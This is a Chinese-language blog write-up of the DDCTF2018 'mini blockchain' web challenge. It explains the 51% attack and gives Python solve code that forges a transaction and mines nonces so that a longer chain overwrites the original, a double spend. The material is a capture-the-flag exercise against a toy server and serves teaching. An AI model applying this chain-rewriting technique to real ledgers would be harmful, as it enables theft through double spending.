其实拿到这道题我是懵逼的,卡了好几天。

其实就是51%攻击。

“在比特币网络里,你有多少钱,不是你说了算,而是大家说了算,每个人都是公证人。”基于算力证明进行维护的比特币网络一直以来有一个重大的理论风险:如果有人掌握了巨大的计算资源(超过全网过半的算力),他就可以通过强大的算力篡改区块链上的账本,从而控制整个共识网络。这也被称为51%攻击,虽然这种攻击发生的可能性不是很大(掌握这种算力的人本身就可以通过挖矿获得巨大受益,再去冒险篡改账本很容易暴露自身)。仍然是理论上看:一旦这种攻击被发现,比特币网络其他终端可以联合起来对已知的区块链进行硬分叉,全体否认非法的交易。

在题目中,我们拥有的全部的算力,可以随意篡改交易信息,这道题目就是利用更长的区块链来覆盖根区块链。

通过create_tx_and_check_shop_balance函数,我们可以自己创建新的块,如果顺利创建就可以到达覆盖旧的区块链。
根据append_block函数的逻辑,构造合适的block_hash即可顺利添加新的区块

copy下来源代码,接下构造payload:

if __name__ == '__main__':
    output= create_output_utxo(
        "a538d28462783438daef0d2ccbac168ae8b5b1e8ea4bc6ad802ab4701b636bb73c442bd4c830ea3e07928faab6dc69c9", 1000000)

    trans = [{
        "input": ["43b68faa-e9bc-4a6b-9308-87f3d9c8c128"],
        "output": [output],
        "hash": "9845f003078fcbc1e361541313a5f715b3f03f7020b2ff2c97043c694a719821",
        "signature": [
            "34260bc96409b75ccff85922c894403212bd377c75d9f501375e8627e6011f25c0d782b988efa1ace4e18013138b51e2"],
    }]
    trans[0]['hash'] = hash_tx(trans[0])

    for i in range(100000000000):
        shop = create_block("00000617d81258a47a4cfa22e639e2b5338e7a64751e878f508e0d8b6bf6f97e", str(i), trans)
        if shop['hash'][:5] == "0" * 5:
            print json.dumps(shop)

#第二次获取钻石时:
    #000004c94d4765010976491951896f80e37c1ed64a71560dfb8a6ac79e2cc7ec 
    #0000089e13e1458cdd0a809ff50df5786c63ba18f5cf3f11eb5ebb5aecdc3c2b
    block={
        "nonce":"",
        "prev":"000004fefb299eaa10b7578cda27a282ee95ecd1648fb223acd80bc9c5079b57",
        "hash":"",
        "transactions":[]
    }


    for i in range(100000000000):
            block = create_block(block["prev"],str(i),block['transactions'])
            if block['hash'][:5] == "0"*5:
                print json.dumps(block)
                break

 

第一次获取就是在原区块链上新加了一个区块,并且伪造了一次交易,把金币转走了,第二次就是在第一次新建的区块基础上再次新增一个区块并且伪造一个新交易,这样子就会一直覆盖前一次的区块,也被称之为双花。

 

 

参考资料:

http://www.8btc.com/51attack

https://blockchain-sec.com/

https://steemit.com/blockchain/@brianjuice/hypothetical-blockchain-hack-51-attack





本文链接地址: DDCTF2018 WEB4 mini blockchain WRITEUP

原创文章,转载请注明: 转载自Lz1y's Blog

发表评论

电子邮件地址不会被公开。 必填项已用*标注

This site uses Akismet to reduce spam. Learn how your comment data is processed.